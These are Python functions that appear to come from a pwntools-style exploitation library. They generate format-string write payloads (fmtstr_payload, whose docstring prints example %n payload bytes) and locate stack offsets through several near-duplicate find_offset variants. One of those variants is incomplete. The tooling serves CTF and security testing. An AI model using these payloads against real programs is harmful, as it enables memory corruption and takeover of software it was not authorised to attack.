def fmtstr_payload(offset, writes, numbwritten=0, write_size='byte', write_size_max='long', overflows=16, strategy="small", badbytes=frozenset(), offset_bytes=0): r"""fmtstr_payload(offset, writes, numbwritten=0, write_size='byte') -> str Makes payload with given parameter. It can generate payload for 32 or 64 bits architectures. The size of the addr is taken from ``context.bits`` The overflows argument is a format-string-length to output-amount tradeoff: Larger values for ``overflows`` produce shorter format strings that generate more output at runtime. Arguments: offset(int): the first formatter's offset you control writes(dict): dict with addr, value ``{addr: value, addr2: value2}`` numbwritten(int): number of byte already written by the printf function write_size(str): must be ``byte``, ``short`` or ``int``. Tells if you want to write byte by byte, short by short or int by int (hhn, hn or n) overflows(int): how many extra overflows (at size sz) to tolerate to reduce the length of the format string strategy(str): either 'fast' or 'small' ('small' is default, 'fast' can be used if there are many writes) Returns: The payload in order to do needed writes Examples: >>> context.clear(arch = 'amd64') >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int') b'%322419390c%4$llnaaaabaa\x00\x00\x00\x00\x00\x00\x00\x00' >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short') b'%47806c%5$lln%22649c%6$hnaaaabaa\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00' >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte') b'%190c%7$lln%85c%8$hhn%36c%9$hhn%131c%10$hhnaaaab\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00' >>> context.clear(arch = 'i386') >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int') b'%322419390c%5$na\x00\x00\x00\x00' >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short') b'%4919c%7$hn%42887c%8$hna\x02\x00\x00\x00\x00\x00\x00\x00' >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte') b'%19c%12$hhn%36c%13$hhn%131c%14$hhn%4c%15$hhn\x03\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00' >>> fmtstr_payload(1, {0x0: 0x00000001}, write_size='byte') b'%1c%3$na\x00\x00\x00\x00' >>> fmtstr_payload(1, {0x0: b"\xff\xff\x04\x11\x00\x00\x00\x00"}, write_size='short') b'%327679c%7$lln%18c%8$hhn\x00\x00\x00\x00\x03\x00\x00\x00' """ sz = WRITE_SIZE[write_size] szmax = WRITE_SIZE[write_size_max] all_atoms = make_atoms(writes, sz, szmax, numbwritten, overflows, strategy, badbytes) fmt = b"" for _ in range(1000000): data_offset = (offset_bytes + len(fmt)) // context.bytes fmt, data = make_payload_dollar(offset + data_offset, all_atoms, numbwritten=numbwritten) fmt = fmt + cyclic((-len(fmt)-offset_bytes) % context.bytes) if len(fmt) + offset_bytes == data_offset * context.bytes: break else: raise RuntimeError("this is a bug ... format string building did not converge") return fmt + data
def find_offset(self): marker = cyclic(20) for off in range(1,1000): leak = self.leak_stack(off, marker) leak = pack(leak) pad = cyclic_find(leak) if pad >= 0 and pad < 20: return off, pad else: log.error("Could not find offset to format string on stack") return None, None
def find_offset(self): marker = cyclic(20) for off in range(1, 1000): leak = self.leak_stack(off, marker) leak = pack(leak) pad = cyclic_find(leak) if pad >= 0 and pad < 20: return off, pad else: log.error("Could not find offset to format string on stack") return None, None
def find_offset(self): alphabet = string.ascii_letters.encode('utf8') marker = cyclic(20, alphabet) for off in range(1, 1000): leak = self.leak_stack(off, marker) leak = pack(leak) pad = cyclic_find(leak, alphabet) if pad >= 0 and pad < 20: return off, pad else: log.error("Could not find offset to format string on stack") return None, None
def find_offset(self): alphabet = string.ascii_letters.encode("utf8") marker = cyclic(20, alphabet) for off in range(1, 1000): leak = self.leak_stack(off, marker) leak = pack(leak) pad = cyclic_find(leak, alphabet) if pad >= 0 and pad < 20: return off, pad else: log.error("Could not find offset to format string on stack") return None, None
def find_offset(execute_fmt, bits=64): def leak_stack(offset, prefix=""): leak = execute_fmt(prefix + "START%{}".format(offset)) if bits == 64: p = p64 else: p = p32 marker = cyclic(20) for off in range(1, 1000): leak = leak_stack(off, marker) leak = p(leak) pad = cyclic_find(leak) if pad >= 0 and pad < 20: mark = "ASDASD" data = execute_fmt(mark) written = data.find(mark) return off, written else: log.error("Could not find offset to format string on stack") return None, None